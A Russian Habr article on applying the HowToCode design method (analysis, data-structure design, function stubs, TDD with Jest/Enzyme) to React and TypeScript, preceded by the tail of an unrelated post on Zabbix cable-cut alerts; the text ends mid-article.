Далее в Узлах сети находим или добавляем нужный нам узел, где будет мониториться кабель, в его настройках выбираем *Присоединенные Шаблоны – Добавить – CableState* Сохраняем.
Все, теперь в Мониторинге Zabbix будут отображаться события выключения 1-ого порта
Сообщения вида:
*Port 1 status down (CABLE CUT!!!) on 10.20.123.123*
Если этого не достаточно, настраиваем оповещение по триггеру на почту
Заходим в *Настройка->Действия->Создать действия*
Настраиваем примерно так:
В самом действии можно выбрать отправку пользователю/группе пользователей
В результате будут приходить письма вида:
*2013.07.29 — 15:55:39
Port 1 status down (CABLE CUT!!!) on 10.20.123.123: 10.20.123.123*
Теперь осталось только определиться, кому присылать оповещения и что делать дальше — звонить 02/ ЧОП'ам или дежурным монтажникам… | https://habr.com/ru/post/188730/ | null | ru | null |
# HowToCode — Адаптация системного подхода к разработке для React и TypeScript
Наверное, каждый программист рано или поздно начинает задумываться о качестве своего кода. И, скорее всего, я не ошибусь, если скажу, что добрая половина разработчиков им вечно недовольна. Мне мой код тоже нравился редко: функции, казалось, можно было бы делать и покороче, лишние вложенности было бы неплохо тоже убирать. Было бы здорово писать тесты и документацию, но на них времени не оставалось почти что никогда.
Естественно, что я потратил кучу времени на чтение книг и всевозможных статей, пытаясь понять, как же сделать свой код лучше. Но картинка не складывалась. То ли рекомендации в книгах или статьях были через чур общими и местами противоречивыми, то ли дело было во мне, но, несмотря на усилия, результата было мало.
Кардинальным образом ситуация изменилась после того, как я прошел курс HowToCode[ссылка удалена модератором, т.к. нарушает правила]. В курсе описан системный и, как всё гениальное, простой и красивый подход к разработке, который сводит воедино анализ, проектирование, документацию, тестирование и разработку кода. Весь курс построен на использовании функциональной парадигмы и языка Scheme (диалекта Lisp), тем не менее, рекомендации вполне применимы и для других языков, а для JavaScript и TypeScript, к которым я постарался их адаптировать, так и вообще подходят отлично.
Результаты мне очень понравились:
* Во-первых, наконец-то мой код стал читаемым, появилась внятная документация и тесты
* Во-вторых, заработал подход TDD, к которому я делал несколько подходов, но никак не мог начать ему следовать
* В-третьих, я практически избавился от отладки: того самого процесса, когда код уже написан, но ещё не работает или работает не так как надо, чем дико раздражает
* Ну и ещё одно очень приятное наблюдение: я не боюсь что-то забыть или пропустить, потому что в каждый момент времени я работаю над одной конкретной небольшой задачей, а все остальные задачки - записаны
* Да, и, предвидя вопросы, скажу - по ощущениям время разработки если и замедлилось, то не сильно, даже с учётом написания тестов и документации. А экономия на поддержке кода - просто колоссальная.
Но давайте уже перейдём к сути и посмотрим, как этот подход устроен.
Общая идея
----------
Чтобы понять, в чём заключается общий смысл подхода, достаточно рассматривать процесс разработки приложения как **проектирование -** процесс превращения плохо сформулированной проблемы в хорошо структурированное решение.
Все действия подхода нацелены на постепенное уточнение задачи, движение от абстрактного к конкретному, причем каждый следующий шаг опирается на результаты предыдущего.
Этапы проектирования
--------------------
Подход включает 3 этапа:
1. Анализ задачи и предметной области
2. Проектирование структур данных
3. Проектирование функций
Анализ задачи и предметной области
----------------------------------
Анализ задачи необходим для того, чтобы понять, что мы, собственно, будем делать.
Входными данными для этого этапа является постановка задачи. Она может выглядеть как угодно: устная формулировка, пара предложений в тикете Jira или полноценное ТЗ на десятки страниц. На самом деле это не так уж и важно.
Действительно важен тот факт, что есть 2 стороны: заказчик и исполнитель. И в голове заказчика уже есть некоторое представление о желаемом результате, а в голове исполнителя - его нет. И лучшее, что мы можем сделать на этом этапе - это воспроизвести у себя картинку, максимально близкую к изображению в голове заказчика и убедиться в том, что мы сделали это правильно.
### Процедура анализа задачи
Для того, чтобы быстро и качественно проанализировать задачу, воспользуемся специальным алгоритмом. Для его выполнения нам потребуются только карандаш и бумага.
#### Алгоритм
В общем виде алгоритм выглядит так:
Шаг 1. Представить задачу в динамике
Шаг 2. Выделить константы, переменные и события.
#### Шаг 1. Представить задачу в динамике
Чтобы представить задачу в динамике достаточно набросать несколько схематичных иллюстраций того, как программа будет выглядеть:
* в исходном состоянии
* в различных промежуточных состояниях: возможно, появляется загрузка, или раскрываются какие-то списки или открываются какие-то окна
* при окончании работы
Иллюстраций должно быть достаточно для того, чтобы отобразить на них все основные элементы. Если есть макеты от дизайнера - прекрасно, возможно, и рисовать ничего не придётся, но вникнуть в логику переходов между экранами, понять все ли состояния указаны на макете или что-то пропущено, обязательно стоит.
#### Пример
Допустим, первоначальная постановка задачи звучала как: "Реализовать для web-портала раскрывающийся список, который бы показывал перечень сотрудников, входящих в учебную группу. Для каждого сотрудника должно быть указано ФИО и дата его рождения."
Звучит неплохо, но что делать, пока ещё непонятно. Берем карандаш, бумагу и, если есть возможность, самого заказчика и начинаем рисовать (Ну а я буду рисовать в редакторе).
**Начальное состояни**
Изначально наше приложение пустое, данные о составе группы с сервера ещё не получены, значит надо предусмотреть какой-то индикатор загрузки. Пусть на данном этапе оно будет выглядеть так:
**Промежуточные состояния**
Когда данные загружены, то на экране, наверное, должен появиться закрытый список с названием группы и индикатором состояния списка. Пусть это будет выглядеть так:
Когда список открывается, мы должны показать список сотрудников, входящих в группу, и изменить состояние индикатора. Скорее всего, выглядеть наше приложение станет как-то так:
Ну и, если мы закроем список, то должны вернуться к его закрытому состоянию без каких-либо изменений.
#### Шаг 2. Выделить константы, переменные и события
Теперь давайте пойдём дальше: выделим 3 группы параметров, которые лежат в основе описания приложения на языке компьютера: константы, переменные и события.
**Константы**
Константы - это данные приложения, которые во время его выполнения не изменяются. Как правило, к ним можно отнести различные настройки, например:
* оформление: цвета, шрифты, расстояния, логотипы и иконки, размеры сетки и экрана и т.д.
* сетевые данные, например, адреса серверов,
* строковые константы: названия, заголовки и т.п.
**Пример выделения констант**
Давайте внимательно посмотрим на схемы и выделим то, что у нас в приложении постоянно. У меня получился следующий список:
* Адрес сервера, с которым работает наше приложение
* Название приложения, которое отображается в виде заголовка
* Оформление
Получившийся список мы записываем под схемами приложения, отдельной колонкой, чтобы всё было рядышком и охватывалось одним взглядом:
**Переменные**
Следующий пункт нашего небольшого анализа - это выявление переменных. Переменные, в противоположность константам - это то, что в приложении меняется в зависимости от разных условий. Это могут быть:
* координаты объектов
* значения таймера
* различные переменные, отражающие состояние элементов интерфейса и т.д.
**Пример выделения переменных**
Вернёмся к нашим схемам и ещё раз внимательно на них поглядим: какие элементы приложения меняются от схемы к схеме? В общем, ищем всё, что появляется и исчезает, меняет размеры, форму, цвета или ещё каким-то образом вносит изменения в приложение.
У меня получился следующий список:
* Состояние загрузки приложения: загружается или данные уже загружены
* Группа, для описания которой нам, скорее всего, понадобится её идентификатор, название, статус открытия списка группы
* Список участников группы, который, наверняка, в будущем будет являться свойством группы
* Ну и каждый участник группы тоже будет являться переменной, и описываться при помощи идентификатора, полного имени и даты рождения.
Переменные, как и константы мы записываем отдельной колонкой под схемами:
**События**
Последний тип параметров, которые нас интересуют - это события, влияющие на поведение программы. То есть то, что меняет переменные, которые мы определили на прошлом шаге.
Событиями могут быть:
* Изменения этапов жизненного цикла приложения или его отдельных компонентов: инициализация, обновление, удаление, и т.п.
* Пользовательский ввод: события мыши или клавиатуры
* Таймер
* Получение данных с сервера и т.д.
Ну а в нашем приложении такими событиями, на мой взгляд, будут:
* загрузка данных приложения и
* открытие и закрытие списка сотрудников по клику мыши на шапку группы
Как и раньше, список событий мы записываем отдельной колонкой под схемами приложения.
Теперь мы уже существенно продвинулись вперед:
1. Во-первых, мы уже покрутили задачу в голове и более или менее её поняли
2. Во-вторых, мы сделали её куда как более конкретной, свели все возможные варианты реализации списков к одному
3. В-третьих, мы получили наглядное представление нашего решения, которое уже можем обсуждать, править и согласовывать. А правки на этом этапе, как вы знаете, самые ценные, потому что практически бесплатные.
Не торопитесь переходить к следующему шагу, пока не обсудите и не утвердите результаты вашего анализа с заказчиком. Правьте, проясняйте и уточняйте, пока не убедитесь, что вы оба понимаете задачу одинаково.
Проектирование структуры данных
-------------------------------
Теперь мы можем переходить ко второму этапу нашего алгоритма - проектированию структур данных.
На этом этапе мы берем константы, переменные и события, которые выявили в ходе анализа и думаем, каким образом нам представить их в программе.
### Назначение
Для чего нам это надо?
1. Во-первых, мы формируем единый словарь для общения внутри проекта. Все разработчики должны понимать, какие данные и сущности есть в приложении, как они представлены и как взаимосвязаны между собой. Это, в свою очередь, позволяет безболезненно разделять работу между несколькими людьми и подключать в проект новых участников.
2. Во-вторых, эти структуры станут основой для типов TypeScript, которые мы будем дальше использовать в клиентской части приложения.
3. И в-третьих, если структуры данных описать полностью и с примерами, как рекомендует алгоритм, то примеры становятся очень неплохим подспорьем для unit-тестов.
### Алгоритм
Структуры мы описываем в следующем порядке:
1. Фиксируем название структуры
2. Описываем её тип
3. Пишем интерпретацию структуры - описание того, как преобразовать реальные данные в указанный тип.
4. Придумываем один - два примера заполненной структуры.
На этом этапе уже начинают играть роль используемые технологии. В нашем случае появляются TypeScript и JSDoc, но для других языков и платформ вполне может использоваться и что-то другое. Ну а раз мы говорим о веб-разработке и библиотеке React JS, то надо сразу отметить, что мы дальше будем использоваться понятия свойств (props) и состояний (state), характерных для React. Ничего страшного, если вы с этими понятиями не знакомы, думаю, что всё будет и так понятно.
**Примечание:** В курсе HowToCode приводится ещё один, дополнительный шаг описания структуры - написание шаблона функции с одним аргументом, которая будет работать со структурой данного типа. Но мы сейчас этот шаг пропустим, для его изложения потребуется как минимум отдельная статья, если не целая серия.
### Пример
Давайте попробуем определить структуру данных для тех констант и переменных, которые мы получили в ходе анализа.
Для хранения констант мы создадим интерфейс, который будем считать состоянием главного компонента, ну или состоянием хранилища Redux, если вы его используете.
**Фиксируем название структуры.** Название должно отражать суть структуры. В нашем случае, назовём её AppState - состояние приложения:
```
export interface AppState {}
```
**Описываем тип структуры.** Для этого мы возвращаемся к нашим переменным, константам и событиям, внимательно смотрим на них и думаем, какие из этих данных нам бы следовало разместить на верхнем уровне нашего приложения. У меня получилась вот такая комбинация:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Описание** | **Название переменной** | **Источник** | **Тип данных** | **Обязательность** | **Комментарий** |
| Название приложения | title | Константы | Строка | + | |
| Адрес сервера | backendAddress | Константы | Строка | + | |
| Флаг загрузки данных | isLoading | Переменные | Логическое значение | + | true - данные загружаютсяfalse - данные загружены |
| Данные об отображаемой группе | group | Переменные | Объект типа Group | - | На момент загрузки данные о группе не определены |
| Метод загрузки данных | loadData | События | Функция | + | |
Фиксируем это в коде:
```
export interface AppState {
title: string;
backendAddress: string;
isLoading: boolean;
group?: Group;
loadData: Function;
}
```
**Пишем интерпретацию структуры**
TypeScript дает отличное представление того, что из себя структура представляет, но всё же, часть информации теряется. Поэтому, давайте сразу зафиксируем, что подразумевается под каждым из полей структуры и каким образом мы можем представить информацию из реального мира в виде такой структуры. Для этого нам пригодится ещё один инструмент из мира JavaScript - JSDoc.
```
/**
* Общее состояние приложения
* @prop title - заголовок приложения
* @prop backendAddress - адрес сервера
* @prop isLoading - флаг загрузки данных (true - загружаются, false - загружены)
* @prop group - данные об отображаемой группе. На момент загрузки данных group не определена
* @method loadData - метод загрузки данных
*/
export interface AppState {
title: string;
backendAddress: string;
isLoading: boolean;
group?: Group;
loadData: Function;
}
```
Внимательный читатель может заметить появление в описании AppState некой ранее не описанной структуры Group. И действительно, в процессе работы над AppState стало понятно, что данные о группе - это тоже, в свою очередь, сложный тип данных. При этом мы ни в коем случае не бросаемся сейчас же его описывать. Рекомендуется сделать для новой структуры заглушку, после чего вернуться и закончить текущую задачу. Это позволяет всегда концентрироваться только на одном конкретном деле и не распылять своего внимания.
Для заглушки достаточно правильно указать имя новой структуры, описать, что она будет собой представлять и поставить отметку TODO - как правило IDE автоматически распознают отметки TODO и формируют из них удобные списки задач
```
/**
* Общее состояние приложения
* @prop title - заголовок приложения
* @prop backendAddress - адрес сервера
* @prop isLoading - флаг загрузки данных (true - загружаются, false - загружены)
* @prop group - данные об отображаемой группе. На момент загрузки данных group не определена
* @method loadData - метод загрузки данных
*/
export interface AppState {
title: string;
backendAddress: string;
isLoading: boolean;
group?: Group;
loadData: Function;
}
/**
* Данные об отображаемой группе
*/
//TODO
export interface Group {
}
```
**Придумываем пару примеров** того, как может выглядеть эта структура в заполненном виде.
Делать это мне всегда тяжело, потому что кажется, что примеры - это пустая трата времени. И каждый раз, когда я дохожу до написания unit-тестов, я радуюсь тому, что я всё-таки их написал. В примерах вместо методов я указываю заглушки и вместо содержания вложенных структур, в нашем случае group - ссылки на переменные нужного типа, для которых временно тоже делаю заглушки. Получается что-то вроде:
```
/**
* Общее состояние приложения
* @prop title - заголовок приложения
* @prop backendAddress - адрес сервера
* @prop isLoading - флаг загрузки данных (true - загружаются, false - загружены)
* @prop group - данные об отображаемой группе. На момент загрузки данных group не определена
* @method loadData - метод загрузки данных
*/
export interface AppState {
title: string;
backendAddress: string;
isLoading: boolean;
group?: Group;
loadData: Function;
}
//Пример 1
const appState1: AppState = {
title: "Заголовок 1",
backendAddress: "/view_doc.html",
isLoading: true,
group: undefined,
loadData: () => {}
}
//Пример 2
const appState2: AppState = {
title: "Заголовок 2",
backendAddress: "/view_doc_2.html",
isLoading: false,
group: group1, //Заглушка для вложенной структуры
loadData: () => {}
}
/**
* Данные об отображаемой группе
*/
//TODO
export interface Group {
}
//TODO
const group1 = {}
```
Итак, первая структура у нас готова, она хорошо описана, поэтому разобраться в ней - проще простого. Можно сделать перерыв, налить чаю, размять спину, а после - взять и описать следующую структуру, отмеченную у нас "тудушкой".
Когда у нас закончатся все TODO и константы, переменные и события, описанные в ходе анализа, мы получим документ с подробным описанием большинства данных, циркулирующих по нашей системе.
Можно сделать ещё один шаг и описать простой контракт между клиентом и сервером нашего приложения. Для этого достаточно выделить из описанных структур те данные, которыми приложение обмениваемся с сервером, и сформировать, например, описание класса - сервиса:
```
export default abstract class AbstractService {
/**
* Метод загрузки данных о группе с сервера
* @fires get_group_data - имя действия, вызываемого на сервере
* @returns данные о группе
*/
abstract getGroupData(): Promise;
}
```
На клиенте останется только реализовать этот класс, а на сервере - реализовать нужные действия и отдавать данные, которые сервис ожидает, формат их уже для всех ясен.
Теперь наше приложение уже достаточно обросло деталями, чтобы можно было приступать к реализации.
Проектирование функций
----------------------
Только теперь мы, наконец, переходим к разработке.
Как и для других этапов, для проектирования функций у нас есть свой рецепт - алгоритм:
### Алгоритм первоначального проектирования функций
1. Создаем заглушку. Заглушка - это определение функции, которое:
* отражает правильное название функции
* принимает правильное количество и типы параметров
* возвращает произвольный результат, но корректного типа
2. Описываем входные, выходные данные и назначение функции
3. Пишем тесты. Тесты должны иллюстрировать поведение функции и проверять корректность выходных данных при разных входных данных.
4. Пишем тело функции.
5. Если в процессе написания функции необходимо обращаться к другой функции, то мы:
1. сразу описываем функцию и добавляем заглушку
2. добавляем отметку (TODO), помечающую нашу функцию как объект списка задач
Алгоритм повторяется до тех пор, пока не будут реализованы все задачи в списке задач
### Пример проектирования функции
В нашем конкретном случае мы будем понимать под функциями как отдельные React - компоненты с их методами жизненного цикла, так и отдельные дополнительные методы внутри компонентов.
Двигаться, как всегда, мы будем сверху вниз - начиная с самых общих компонентов и постепенно уточняя их, шаг за шагом реализуя вложенные компоненты.
#### Шаг 1 - Создаем заглушку
Заглушка функции - это минимальное работоспособное её описание, в котором есть:
* правильное название функции,
* правильное количество и тип параметров и
* возвращаемое значение, произвольное по содержанию, но правильного типа.
Для простой функции на TypeScript будет вполне достаточно написать что-то вроде:
```
export const getWorkDuration = (worktimeFrom: string, worktimeTo: string): string => {
return "6ч 18мин";
}
```
где:
* getWorkDuration - правильное название фукнции, то есть то, которое мы и дальше будем использовать
* worktimeFrom: string, worktimeTo: string - два строковых параметра. Именно столько параметров и такого типа функция должна принимать
* : string после закрывающей круглой скобки - тип возвращаемого значения
* return "6ч 18мин" - возврат произвольного значения, но правильного типа из функции
Несмотря на то, что такая функция ещё ничего не делает, у неё всё же есть одно очень важное свойство - она уже может выполняться в unit - тестах, что нам и требуется.
В случае с реактом у нас появляются ещё 2 вида заглушек: для функциональных компонентов и компонентов - классов. Выглядят они следующим образом:
Для функциональных компонентов:
```
const componentName = (props: PropsType) => { return componentName
=============
}
```
Для компонентов классов:
```
class componentName extends React.Component{
state = {
//произвольные значения для всех обязательных свойств состояния
}
render() {
return componentName
=============
}
}
```
где:
* PropsType - это описание типа передаваемых свойств
* StateType - описание типа состояния компонента
Ну и реакт-компоненты возвращают нам заголовки с именами этих компонентов, чтобы мы сразу видели в браузере, что они отрисовываются на странице.
В нашем приложении с выпадающим списком сотрудников, самым верхним компонентом является компонент App. У него, как мы поняли из описания типов, есть состояние, значит это будет компонент-класс. Заглушка для него будет выглядеть следующим образом:
```
interface AppProps {}
export default class App extends Component {
state = {
title: "Отображение списка групп",
backendAddress: "",
isLoading: true,
loadData: this.loadData.bind(this)
}
/\*\*
\* Метод загрузки данных с сервера
\*/
//TODO
loadData() {
}
render() {
return App
===
}
}
```
Надо отметить пару особенностей этой реализации:
1. В компонент App не передаётся никаких свойств "сверху", поэтому интерфейс AppProps пустой
2. Тип состояния компонента AppState мы импортируем напрямую из описания типов, которое мы создали, когда проектировали структуры
3. Состояние предусматривает метод loadData, поэтому мы тут же делаем заглушку для этого метода, отмечаем её маркером TODO, чтобы позже к ней вернуться
#### Шаг 2 - Описываем входные и выходные данные
После того, как заглушка готова, самое время начать думать, что и как функция должна делать. Размышления об этом мы поместим над её сигнатурой в формате JSDoc, чтобы и самим не забыть и для коллег, которые будут работать с этим кодом после нас, всё было предельно ясно.
Для обычных функций мы сначала описываем входные параметры, потом выходные, а потом, глядя на них, пытаемся придумать лаконичную формулировку, которая бы описывала, что функция делает. Тут же мы можем дать краткие пояснения к функционалу, если это необходимо:
```
/**
* Рассчитывает количество часов и минут между указанным начальным и конечным временем
* Если время начала работы больше времени конца, то считается, что конечное время - это время следующих суток
* @param worktimeFrom - время начала работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @param worktimeTo - время конца работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @return количество часов и минут между переданным временем в формате Хч Y?мин, например 6ч 18мин или 5ч, если количество часов полное
*/
//TODO
export const getWorkDuration = (worktimeFrom: string, worktimeTo: string): string => {
return "6ч 18мин";
}
```
И обязательно отмечаем нашу функцию маркером TODO, чтобы сразу бросалось в глаза, что функция не закончена.
Для реакт-компонентов я, как правило, такое описание не делаю, потому что входные и выходные параметры у всех компонентов одинаковые, да и назначение понятно. Но для всех нестандартных методов компонента и вспомогательных функций, которые не относятся к методам жизненного цикла или хукам реакта, я стараюсь писать документацию, аналогичную приведенной выше, - занимает пару минут, а экономит - часы.
#### Шаг 3. Тестирование
После того, как назначение и входные и выходные данные определены, можно начать продумывать поведение функции. Лучшее средство для этого - unit-тесты. Есть пара рекомендаций о том, как лучше их писать:
* unit-тесты должны, как минимум, один раз проходить по каждой ветке внутри функции - то есть проверять все ветвления, если они есть
* начинать писать и запускать unit-тесты надо с самых простых сценариев, например при которых выполнение функции сразу прерывается. Если даже эти тесты не проходят, то нет смысла тратить время и ресурсы на проверку более сложных вариантов
* количество и содержание тестов определяются типов данных, с которыми они работают.
Последний пункт надо пояснить отдельно. Для этого давайте посмотрим, как это работает в функциональном программировании.
**Зависимость содержания функций и тестов от типов данных в функциональном программировании**
В функциональном программировании есть понятие "шаблона функции" - абстрактной схемы внутреннего устройства функции, которая зависит только от типа входных данных.
Допустим, у нас есть структура данных, описывающая состояние светофора. Эта структура называется "перечисление" или enum. То есть переменная этого типа может находиться в нескольких дискретных значениях:
```
type TrafficLights = "красный" | "желтый" | "зеленый";
```
Это значит, что любая чистая функция, которая на вход получает один параметр типа TrafficLights будет построена по одной и той же схеме: в ней будет выполняться проверка на текущее значение параметра и, в зависимости от текущего значения, будет выполняться какая-то операция:
```
function trafficLightsFunction (trafficLights: TrafficLights) {
switch (trafficLights) {
case "красный":
...
case "желтый":
...
case "зеленый":
...
}
}
```
Это и есть шаблон. Если нам понадобится написать очередную чистую функцию, в которой входным параметром будет структура типа TrafficLights - мы можем скопировать шаблон, заменить название функции, подставить нужные операции вместо "..." и вуаля, функция готова.
А раз функции имеют один и тот же шаблон, то и тестировать их нужно похожим образом. В данном случае, чтобы тесты проходили по всем веткам функции, они должны, как минимум, включать 3 сценария со всеми возможными значениями параметра. В зависимости от конкретной функции будут меняться только ожидаемые значения.
Получается, что тип входных данных определяет и внутреннюю структуру функции - шаблон, и сценарии тестирования.
Но такое утверждение полностью справедливо только для чистых функций, в то время как далеко не все функции у нас - чистые. Многие имеют побочные эффекты, на сервере - это запросы к БД или логирование, на клиенте - сетевые запросы или компоненты с состояниями. А в этом случае использовать подход с шаблонами "в лоб" не получается. Но, тем не менее, свою стратегию тестирования можно формировать с оглядкой на то, как это устроено для чистых функций, внося поправки на побочные эффекты. Что мы и будем делать.
Но сначала давайте посмотрим на взаимосвязь между типами данных и тестами для чистых функций:
| | | | | |
| --- | --- | --- | --- | --- |
| **№** | **Тип данных** | **Описание** | **Пример данных** | **Правила тестирования** |
| 1 | Атомарные данные | Данные, которые не могут быть разбиты на более мелкие части. При этом они независимы от других и сами не накладывают на другие данные ограничений | СтрокаЛогическое значениеЧисло | Для строк допустим 1 сценарий тестированиядля логических значений - 2 (true / false)Для чисел - 1 сценарий, но может потребоваться дополнительный сценарий для значения 0 |
| 2 | Перечисления | Данные, которые могут принимать одно из нескольких состояний. | Цвета светофораПятибальная шкала оценокРазмеры одеждыи т.д. | Для тестирования нужно, как минимум, столько сценариев, сколько классов значений в перечислении. Поэтому, если вам нужно протестировать 100-бальную шкалу оценок, но при этом вы понимаете, что значения группируются в 4 класса: 1 - 25, 26 - 50, 51 - 75, 76 - 100 То вам понадобится только 4 сценария. |
| 3 | Интервалы | Числа в определённом диапазоне | Скорость автомобиля (0 - 300]Температура воздуха и т.д. | Необходимо протестировать:значение внутри диапазонаграничные значения |
| 4 | Детализация | Данные, состоящие из двух или более частей, по крайней мере одна из которых зависима от другой | Подразделение расформировано или нет? Если расформировано, то какова дата расформированияВ данном случае дата расформирования - атрибут, который зависит от признака, расформировано подразделение или нет. Если подразделение активно, то этой даты просто не существуетТестовый вопрос. В зависимости от типа вопроса может быть указана разная структура вариантов ответа. Если тип вопроса "множественный выбор" - есть массив вариантов ответа с признаками правильности. Если тип вопроса - ввод числа, то есть только один правильный ответ, без вариантов. | Должно быть, как минимум, столько тест-кейсов, сколько комбинаций подклассов может быть. Для примера с подразделением должно быть минимум 2 сценария: подразделение нерасформировано иподразделение расформировано и указана дата расформированияА для примера с типами вопросов - как минимум, по одному для каждого типа. |
| 5 | Сложный тип (объект) | Данные, состоящие из нескольких независимых частей | Объект "Сотрудник" имеющий поля:idФИОДата рожденияПоли т.д. | Как минимум 2 сценария. При этом надо изменять значения всех полей |
| 6 | Массив | Набор данных, объем которых может изменяться | Список сотрудниковМассив учебных курсов, назначенных сотруднику | Как правило, несколько сценариев:один, проверяющий работу функции при пустом массивеодин, проверяющий работу функции при массиве с одним элементомодин или несколько, проверяющих работу функции, когда элементов в массиве 2 и больше |
#### Примеры тестов
Давайте вернемся к нашим функциям и посмотрим, какие наборы тестовых кейсов нам стоило бы для них написать.
```
/**
* Рассчитывает количество часов и минут между указанным начальным и конечным временем
* Если время начала работы больше времени конца, то считается, что конечное время - это время следующих суток
* @param worktimeFrom - время начала работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @param worktimeTo - время конца работы в формате ЧЧ:ММ (от 00:00 до 23:59)
* @return количество часов и минут между переданным временем в формате Хч Y?мин, например 6ч 18мин или 5ч, если количество часов полное
*/
//TODO
export const getWorkDuration = (worktimeFrom: string, worktimeTo: string): string => {
return "6ч 18мин";
}
```
Итак, функция расчёта рабочего времени. Пусть вас не смущает тип string у параметров, каждый из параметров - это время, представленное в виде строки ЧЧ:ММ, то есть не атомарный тип, а интервал от 00:00 до 23:59. Согласно таблице, для интервалов надо проверить граничные значения и значения внутри диапазона. А так как параметра два, то это справедливо для каждого из них. Для этого нам потребуется 3 тест-кейса:
1. Первый параметр выходит за граничное значение, а второй нет
2. Второй параметр выходит за граничное значение, а первый - нет
3. Оба параметра - в пределах нормальных значений
И ещё в документации есть отметка о том, что рабочее время считается по разному в зависимости от соотношения значений. Вместо одного тест-кейса, где параметры находятся в пределах нормы, напишем 3 кейса, где первый параметр меньше, больше и равен второму, итого 5
| | | | | |
| --- | --- | --- | --- | --- |
| **№** | **Название** | **worktimeFrom** | **worktimeTo** | **Ожидаемое значение** |
| 1 | Проверка корректности worktimeFrom | Граничное значение, не входящее в диапазон, например "24:00" | Нормальное значение, например"18:00" | Исключение |
| 2 | Проверка корректности worktimeFrom | Нормальное значение, например"18:00" | Граничное значение, не входящее в диапазон, например "24:00" | Исключение |
| 3 | Нормальная работа, worktimeFrom < worktimeTo | Нормальное значение, меньшее чем worktimeTo, например"00:00" | Нормальное значение, большее чем worktimeFrom, например,"23:59" | 23ч 59мин |
| 4 | Нормальная работа, worktimeFrom > worktimeTo | Нормальное значение, большее чем worktimeTo, например"18:49" | Нормальное значение, меньшее чем worktimeFrom, например,"10:49" | 16ч |
| 5 | Нормальная работа worktimeFrom = worktimeTo | Нормальное значение, например, "01:32" | Нормальное значение, например, "01:32" | 0ч |
Тест-кейсы мы к тому же составили так, чтобы одновременно проверялись выводимые значения: с минутами и без. Остается только написать сами тесты. Я их пишу при помощи Jest и Enzyme - стандартной комбинации для React JS. В самом написании тестов особых премудростей нет, поэтому приведу только один пример:
```
describe('Тестирование расчёта времени между началом и концом работы', () => {
it('Когда начало и конец смены совпадают, функция возвращает 0ч', ()=>{
const result = getWorkDuration("01:32", "01:32");
expect(result).toBe("0ч");
});
//Подобным образом описываем все сценарии
...
});
```
Тестирование реакт-компонентов практически не отличается от тестирования обычных функций: поведение функциональных компонентов точно так же определяется входными параметрами, как и у чистых функций, поэтому и тестируются они точно так же. А вот поведение компонентов-классов, определяется помимо входных параметров собственным состоянием компонентов, и методами жизненного цикла, поэтому для их тестирования нам требуется специализированный инструмент - библиотека enzyme.
Давайте протестируем компонент App. Заглушка для него выглядела следующим образом:
```
interface AppProps {}
export default class App extends Component {
state = {
title: "Отображение списка групп",
backendAddress: "",
isLoading: true,
loadData: this.loadData.bind(this)
}
/\*\*
\* Метод загрузки данных с сервера
\*/
//TODO
loadData() {
}
render() {
return App
===
}
}
```
Данные в этот компонент не передаются, а его поведение полностью определяется его состоянием, структуру которого мы определили ранее как:
```
/**
* Общее состояние приложения
* @prop title - заголовок приложения
* @prop backendAddress - адрес сервера
* @prop isLoading - флаг загрузки данных (true - загружаются, false - загружены)
* @prop group - данные об отображаемой группе. На момент загрузки данных group не определена
* @method loadData - метод загрузки данных
*/
export interface AppState {
title: string;
backendAddress: string;
isLoading: boolean;
group?: Group;
loadData: Function;
}
```
Для начала определимся, к какому типу данных относится эта структура:
* Во-первых, это сложная структура, состоящая из нескольких полей и членов.
* Во-вторых, среди полей есть зависимые. Так, наличие поля group зависит от состояния загрузки, пока данные не загружены, данных о группе - нет. Если есть зависимые данные, то можно смело относить эти данные к типу "Детализация".
Если обратиться к нашей таблице с типами данных, то мы увидим, что:
* для сложных типов (объектов) нужно написать как минимум 2 теста, изменяя при этом значения полей
* для детализации надо написать как минимум столько тестов, сколько классов значений может быть. В нашем случае, классов значений два: когда данные загружаются и когда они загружены.
Таким образом, нам следует написать 4 отдельных теста:
* 2 - изменяя значения всех полей, чтобы проверить, что в нашем компоненте ничего жестко не "зашито" и он, действительно, реагирует на изменения значений
* 2 - изменяя статус загруженности и соответствующие данные, чтобы проверить, правильность поведения компонента в этом случае
Но в данном случае, меняя одновременно и значения полей и данные загрузки, мы можем 2 тестами закрыть все нужные сценарии.
И у нас остался ещё метод loadData - если вернуться назад к результатам анализа приложения, то мы увидим, что этот метод у нас появился из-за того, что мы хотели реагировать на конкретное событие в нашем приложении - загрузку данных сразу после появления приложения. Поэтому, желательно, в тесты добавить проверку, что событие, действительно, обрабатывается.
Начнём с простого - с вызова метода loadData при загрузке компонента:
```
import React from 'react';
import Enzyme, { mount, shallow } from 'enzyme';
import Adapter from 'enzyme-adapter-react-16';
Enzyme.configure({ adapter: new Adapter() });
import App from './App';
describe('App', () => {
test('Когда компонент App смонтирован, вызывается функция loadData', () => {
//Добавляем слушателя к функции loadData
const loadData = jest.spyOn(App.prototype, 'loadData');
//Монтируем компонент
const wrapper = mount();
//Проверяем количество вызовов функции loadData
expect(loadData.mock.calls.length).toBe(1);
});
}
```
Здесь мы подключили enzyme к нашему файлу с тестами, импортировали сам компонент и написали первый тест. Внутри теста мы:
1. добавили слушателя к функции loadData внутри компонента,
2. смонтировали компонент в тестовой среде (то есть сымитировали его появление в приложении) и
3. проверили, что компонент в ходе монтирования вызвал нашу функцию загрузки данных
Теперь реализуем следующий сценарий - отображение компонента во время загрузки данных.
```
test('Когда данные загружаются, отображаются только заголовок и спиннер', () => {
//Монтируем компонент
const wrapper = mount();
//Подменяем состояние компонента на нужное для тестирования
wrapper.setState({
title: "Заголовок 1",
backendAddress: "/view_doc.html",
isLoading: true,
group: undefined,
loadData: () => {}
})
//Проверяем правильность отображения компонента
//Проверяем наличие и содержание заголовка
expect(wrapper.find('h1').length).toBe(1);
expect(wrapper.find('h1').text()).toBe("Заголовок 1");
//Заглушка, отображающаяся в процессе загрузки
expect(wrapper.find(Spinner).length).toBe(1);
//Компонент, отображающий группу отображаться не должен
expect(wrapper.find(Group).length).toBe(0);
});
```
Этот сценарий мы реализуем по следующей схеме:
1. Монтируем компонент
2. Подменяем его состояние на нужное нам. Тут как раз понадобятся примеры, которые мы писали в описании структуры данных. Нужные нам состояния можно не придумывать заново, а копировать подходящие значения оттуда
3. Проверяем правильность отображения компонента
Пока мы писали тест, стало понятно, что для нашего приложения потребуются ещё 2 компонента, которые мы пока не реализовывали:
